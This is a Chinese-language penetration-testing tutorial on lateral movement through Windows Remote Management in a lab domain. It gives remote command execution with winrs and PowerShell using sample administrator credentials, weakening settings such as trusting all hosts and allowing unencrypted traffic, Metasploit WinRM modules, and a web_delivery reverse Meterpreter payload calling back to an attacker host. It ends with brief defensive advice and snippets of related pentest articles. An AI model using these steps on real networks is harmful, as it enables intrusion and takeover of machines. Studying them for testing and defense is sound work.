利用 WinRM 进行横向渗透

VSole2021-09-15 08:59:27

前言

WinRM 作为 Windows 操作系统的一部分,是一项允许管理员在系统上远程执行管理任务的服务。这样的服务当然不会被攻击者错过,本篇文章我们就来讲讲 WinRM 在横向渗透中的使用。

WinRM 服务简介

WinRM 是 Windows Remote Managementd(Windows 远程管理)的简称,是 Web 服务管理标准 WebService-Management 协议的 Microsoft 实现。该协议是基于简单对象访问协议(SOAP)的、防火墙友好的标准协议,允许来自不同供应商的硬件和操作系统能够互操作。

WinRM 作为 Windows 操作系统的一部分,是一项允许管理员在系统上远程执行管理任务的服务。并且,WinRM 默认情况下支持 Kerberos 和 NTLM 身份验证以及基本身份验证,初始身份验证后,WinRM 会话将使用 AES 加密保护。使用 WinRM 服务需要拥有管理员级别的权限。

在现代 Windows 系统中,WinRM HTTP 通过 TCP 端口 5985 进行通信,而 HTTPS(TLS)通过 TCP 端口 5986 进行通信。如果所有的机器都是在域环境下,则可以使用默认的 5985 端口,否则的话则通过 5986 端口使用 HTTPS 传输。

使用 WinRM 我们可以在远程主机设置了防火墙的情况下远程管理这台服务器,因为启动 WinRM 服务后,防火墙默认会自动放行 5985 端口。这样的管理服务当然不会被攻击者错过,在内网渗透中,我们可以使用 WinRM 服务进行横向移动,并且使用这种远程连接进行横向移动不容易被察觉到,也不会占用远程连接数。

WinRM 服务的安装与配置

要利用 WinRM 服务,并让 winrm 命令行工具执行相应操作,通信的双方必须同时安装和配置好 Windows 远程管理。

WinRM 服务的安装

Windows 远程管理服务(WinRM)适用于 Windows Server 2008 和 Windows 7 以后的操作系统并自动与其支持的操作系统一起安装,但是只有在 Windows Server 2008 以上的操作系统 WinRM 服务才会自动启动,其他都需要手动开启。

WinRM 服务的配置

默认情况下,不配置 WinRM 侦听器。即使 WinRM 服务正在运行,也不能接收或发送 WS-Management 协议消息。

使用以下命令可以查看 WinRM 侦听器配置情况:

winrm e winrm/config/listener
# 或 winrm enumerate winrm/config/listener

image-20210804153757275

如上图,有几个参数:

•Address:表示监听器所监听的地址。•Transport:用于指定用于发送和接收 WS-Management 协议请求和响应的传输类型,如 HTTP 或 HTTPS,其默认值为 HTTP。•Port:表示监听器所监听 TCP 端口。•Hostname:正在运行 WinRM 服务的计算机的主机名。该值必须是完全限定的域名、IPv4 或 IPv6 文本字符串或通配符。•Enabled:表示是启用还是禁用侦听器,其默认值为 True,表示启用。•URLPrefix:用于指定要在其上接受 HTTP 或 HTTPS 请求的 URL 前缀。例如,如果计算机名称为 SampleMachine,则 WinRM 客户端将在目标地址中指定 https://SampleMachine/<在目标地址中指定的 URLPrefix>。默认 URL 前缀为 "wsman"。•CertificateThumbprint:用于指定服务证书的指纹。•ListeningOn:用于指定侦听器使用的 IPv4 和 IPv6 地址。

若要检查具体配置设置的状态,可以使用以下命令:

winrm get winrm/config

你可以使用以下命令启动 WinRM 服务,并对 WinRM 服务进行默认配置:

winrm quickconfig

该命令将执行以下这些操作:

•启动 WinRM 服务,并将服务启动类型设置为 "自动启动"。启动后,防火墙会默认并放行 5985 端口。•为在任何 IP 地址上使用 HTTP 或 HTTPS 发送和接收 WS-Management 协议消息的端口配置侦听器。•定义 WinRM 服务的 ICF 异常,并打开 HTTP 和 HTTPS 端口。

还有一些其他配置命令:

# 使用 PowerShell 查询 WinRM 状态
Get-WmiObject-Class win32_service | Where-Object{$_.name -like "WinRM"}
# 开启 WinRM 远程管理
Enable-PSRemoting–force
# 设置 WinRM 自启动
Set-ServiceWinRM-StartModeAutomatic
# 对 WinRM 服务进行快速配置,包括开启 WinRM 和开启防火墙异常检测, HTTPS传输, 5986端口
winrm quickconfig -transport:https    
# 为 WinRM 服务配置认证
winrm set winrm/config/service/auth @{Basic="true"}
# 修改 WinRM 默认端口
winrm set winrm/config/client/DefaultPorts@{HTTPS="8888"}
# 为 WinRM 服务配置加密方式为允许非加密:
winrm set winrm/config/service @{AllowUnencrypted="true"}
# 设置只允许指定 IP 远程连接 WinRM
winrm set winrm/config/Client@{TrustedHosts="192.168.10.*"}
# 设置允许所有 IP 远程连接 WinRM
winrm set winrm/config/Client@{TrustedHosts="*"}

WinRM 的默认组访问权限

在安装过程中,WinRM 将创建本地组 WinRMRemoteWMIUsers__,然后,WinRM 将远程访问设置为本地管理组和 WinRMRemoteWMIUsers__ 组中的用户。我们可以通过以下命令

net localgroup WinRMRemoteWMIUsers__/add

来向 WinRMRemoteWMIUsers__ 组中添加本地用户、域用户或域组。

利用 WinRM 服务远程执行命令

使用 winrs 命令

WinRS 是 Windows 的远程 Shell,它相当于 WinRM 的客户端,使用它可以访问运行有 WinRM 的服务器,不过自己也得装上 WinRM 才能运行 WinRS。使用如下。

在 WinRM 客户端主机上执行以下命令:

winrs -r:http://192.168.93.30:5985 -u:administrator -p:Whoami2021 whoami
winrs -r:http://192.168.93.30:5985 -u:administrator -p:Whoami2021 ipconfig
# winrs -r:[ip] -u:[username] -p:[password] 

执行后得到以下报错:

Winrs error:WinRM 客户端无法处理该请求。可以在下列条件下将默认身份验证与 IP 地址结合使用: 传输为 HTTPS 或目标位于 TrustedHosts 列表中,并且提供了显式凭据。使用 winrm.cmd 配置 TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。有关如何设置 TrustedHosts 的详细信息,请运行以下命令: winrm help config。

此时,需要在客户端上执行下面这条命令,设置为信任所有主机,再去连接即可:

winrm set winrm/config/Client@{TrustedHosts="*"}

然后便可以正常使用了:

如上图所示,成功在远程主机上执行命令。

使用 winrm 命令

我们也可以直接通过 winrm 命令执行远程主机上的程序,通常是木马程序,这里我们尝试执行启动一个计算器:

winrm invoke create wmicimv2/win32_process -SkipCAcheck-skipCNcheck @{commandline="calc.exe"} -r:DC.whoamianony.org

如下图所示,成功正在远程主机上启动了一个 calc 进程:

使用 Invoke-Command 命令

Invoke-Command 是 PowerShell 上的一个命令,用来在本地或远程计算机上执行命令。如下所示:

Invoke-Command-ComputerName192.168.93.30-Credential whoamianony\administrator -Command{ipconfig}
# Invoke-Command -ComputerName [host] -Credential [user] -Command {[command]}
# Invoke-Command -ComputerName [host] -Credential [user] -ScriptBlock {[command]}

•-ComputerName:指定要连接的远程主机名或者 IP。•-Credential:指定有权连接到远程计算机的用户的帐户。•-Command:指定需要执行的命令。

如上图所示,成功在远程主机上执行命令。

利用 WinRM 获取交互式会话

使用 winrs 命令

在 WinRM 客户端主机上执行以下命令启动远程主机的 CMD 即可:

winrs -r:http://192.168.93.30:5985 -u:administrator -p:Whoami2021 cmd

使用 Enter-PSSession 命令

使用 Enter-PSSession 可以在 PowerShell 上直接启动一个与远程主机的交互式会话。在会话期间,您键入的命令在远程计算机上运行,就像您直接在远程计算机上键入一样。

在 WinRM 客户端主机上执行以下命令:

New-PSSession-NameWinRM1-ComputerName DC.whoamianony.org -Credential whoamianony\administrator -Port5985

•-Name:指定启动的会话名称。•-ComputerName:指定要连接的远程主机名或者 IP。•-Credential:指定有权连接到远程计算机的用户的帐户。•-Port:指定 WinRM 工作端口。

如下图所示,执行该命令后,成功启动了一个与远程主机的交互式会话,该会话的名称为 WinRM1:

执行 Get-PSSession 命令可以查看当前创建的所有会话:

此时,可以选中一个会话进入其交互模式执行命令,:

Enter-PSSession-NameWinRM1

执行 Exit-PSSession 命令即可退出当前会话。

注意,如果当前网络环境是工作组环境运行,或客户端未加入域,直接使用 Enter-PSSession 可能会报错以下错误:

Winrs error:WinRM 客户端无法处理该请求。如果身份验证方案与 Kerberos 不同,或者客户端计算机未加入到域中,则必须使用 HTTPS 传输或者必须将目标计算机添加到 TrustedHosts 配置设置。使用 winrm.cmd 配置 TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。通过运行以下命令 可获得有关此内容的更多信息: winrm help config。

此时则需要先在客户端执行以下命令才能使用 Enter-PSSession

Set-Item wsman:localhostClientTrustedHosts -value *

利用 WinRM 进行横向渗透

测试环境如下:

假设此时攻击者已经拿下了内网中的主机 Windows 10,需要继续以 Windows 10 为跳板进行横向移动来拿下 Windows Server 2012,假设此时已经获取到了一个域管理员的登录凭据,并且通过端口扫描发现 Windows Server 2012 开启了 WinRM 服务:

下面我们尝试通过 WinRM 获取 Windows Server 2012 的控制权。

使用 Metasploit 内置模块

Metasploit 框架内置了多个模块,可用于发现启用了 WinRM 服务的主机,发现用于服务认证的凭证以及执行任意命令和代码。

auxiliary/scanner/winrm/winrm_auth_methods
auxiliary/scanner/winrm/winrm_login
auxiliary/scanner/winrm/winrm_cmd
exploit/windows/winrm/winrm_script_exec

下面我们依次试用上述模块。

auxiliary/scanner/winrm/winrm_auth_methods

该模块可以发现启用了 WinRM 服务的系统及其支持的身份验证协议,使用如下:

use auxiliary/scanner/winrm/winrm_auth_methods
set DOMAIN whoamianony
set rhosts 192.168.93.30
run

如上图所示,发现远程主机 Windows Server 2012 开启了 WinRM 服务并且三种类型的身份验证都支持。

auxiliary/scanner/winrm/winrm_login

模块可以确定我们获得的管理员凭据是否对其他系统有效:

use auxiliary/scanner/winrm/winrm_login
set DOMAIN whoamianony
set USERNAME administrator
set PASSWORD Whoami2021
set rhosts 192.168.93.30
set rport 5985
run

如上图所示当前管理员凭据对目标主机 Windows Server 2012 是有效的。确定凭据有效后,我们开始尝试对目标主机 Windows Server 2012 执行命令。

auxiliary/scanner/winrm/winrm_cmd

该模块可以通过 WinRM 服务对远程主机执行任意命令,该模块需要有管理员权限的凭据。

use auxiliary/scanner/winrm/winrm_cmd
set rhosts 192.168.93.30
set DOMAIN whoamianony
set USERNAME administrator
set PASSWORD Whoami2021
set CMD ipconfig    # 设置需要执行的命令
run

exploit/windows/winrm/winrm_script_exec

该模块将尝试修改 PowerShell 执行策略以允许执行未签名的脚本,然后将 PowerShell 脚本写入磁盘并自动执行以返回一个 Meterpreter 会话。

use exploit/windows/winrm/winrm_script_exec
set rhosts 192.168.93.30
set DOMAIN whoamianony
set USERNAME administrator
set PASSWORD Whoami2021
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
set lport 4444
exploit

执行后,如攻击成功,则可获得一个目标主机的 Meterpreter 会话。我这里在本地测试的时候没有成功不知道为什么。

借助 Web_delivery 模块

首先我们使用 Web_delivery 模块在攻击机上开启 Web 服务托管 Payload:

use exploit/multi/script/web_delivery
set target 2# 选择使用powershell类型的payload
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.93.129
set lport 4444
exploit

然后再在 Windows 10 的 Meterpreter Shell 中通过 winrs 对 Windows Server 2012 执行命令,获取一个 交互的 Shell:

winrs -r:http://192.168.93.30:5985 -u:administrator -p:Whoami2021 cmd

然后在 Windows Server 2012 的 Shell 中执行 Web_delivery 模块生成的 PowerShell 命令即可上线:

对于 WinRM 横向移动的防御

对于防御来自 WinRM 的横向移动,我们可以考虑以下两个方面。

•设置主机白名单,仅允许某些可信的计算机连接到 WinRM 服务器。•严格限制,确保仅允许本地管理组和 WinRMRemoteWMIUsers__ 组中的用户有权使用 WinRM。•......

Ending......

命令模式计算机端口
本作品采用《CC 协议》,转载必须注明作者和本文链接
域内横向移动技术就是在复杂的内网攻击中被广泛使用的一种技术,尤其是在高级持续威胁中。攻击者会利用该技术,以被攻陷的系统为跳板,访问其他 域内主机,扩大资产范围(包括跳板机器中的文档和存储的凭证,以及通过跳板机器连接的数据库、域控制器或其他重要资产)。
2021年6月,REvil 勒索软件团伙攻击了基于 Kaseya 云的 MSP platfor 软件供应商 Kaseya。并宣称约 60家 Kaseya 客户和 1500 家企业受到了勒索软件攻击的影响。根据网络安全人员分析称,该勒索软件团伙利用了卡西亚VSA服务器中的一个零日漏洞,该漏洞被追踪为CVE-2021-30116。
可能涉及的部件市电环境;电源、主板、CPU、内存、显示卡、其它可能的板卡;BIOS中的设置;开关及开关线、复位按钮及复位线本身的故障。启动与关闭类故障定义举例与启动、关闭过程有关的故障。显示的内容的观察:要注意屏幕报错的内容、死机的位置,以确定故障可能发生的部位。以下检查应在软件最小系统下进行。
可能涉及的部件市电环境;电源、主板、CPU、内存、显示卡、其它可能的板卡;BIOS中的设置;开关及开关线、复位按钮及复位线本身的故障。2) 万用表; 3) 试电笔; 4) CPU负载。启动与关闭类故障定义举例与启动、关闭过程有关的故障。4) 显示的内容的观察:要注意屏幕报错的内容、死机的位置,以确定故障可能发生的部位。以下检查应在软件最小系统下进行。
Nmap渗透测试指南
2022-04-20 13:05:55
nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -v -oG E:\ip\result3.txt -iL E:\ip\ip.txt
检查集线器发现“COL”指示灯长亮或不断闪烁。导致冲突大量发生的原因可能是集线器故障,也可能是网卡故障。一般情况下,网卡出现故障的可能性比较小,因此将重点放在对集线器的排除方面。
ATM 恶意软件组织 Prilex自 2014 年起就开始活跃,不过在2016 年,该组织决定放弃ATM 业务,将所有注意力集中在 PoS 系统。
内网渗透合集(三)
2023-01-28 09:44:16
jsp端口转发渗透过程中,由于windows和linux的差别以及运行语言环境的限制导致端口转发经常出现问题。于是自己写了个简单的JSP的端口转发脚本。仿造 LCX的功能,具有正向、反向、监听三种模式。对于目前数量众多的JAVA WEB网站来说,可以比较方便的实现端口转发。在这里发布出来,小伙伴们使用过程中,如果发现什么bug欢迎提交哈~参数说明/KPortTran.jsp?lip = local ip / 本地ip //一般为内网主机IP. lp = local port / 本地端口 //一般为内网主机端口
发现内网主机:10.10.10.2、10.10.10.4在meterpreter中输入命令 shell 进入 成员服务器Winserver 2008-2 的命令行,使用命令查看网络详细情况meterpreter > shell. 通过这些信息可以判断 成员服务器Winserver 2008-2 在 ocean.com 域中,根据 DNS 信息判断域控主机 IP 为10.10.10.2设置路由使用 Nmap 对内网主机进行扫描meterpreter > background. msf5 exploit > route add 10.10.10.3 255.255.255.0 1. # 将被控机成员服务器Winserver 2008-2的IP添加到 MSF 中,这是给kali增加的路由,添加之后kali才才能找到内网主机
VSole
网络安全专家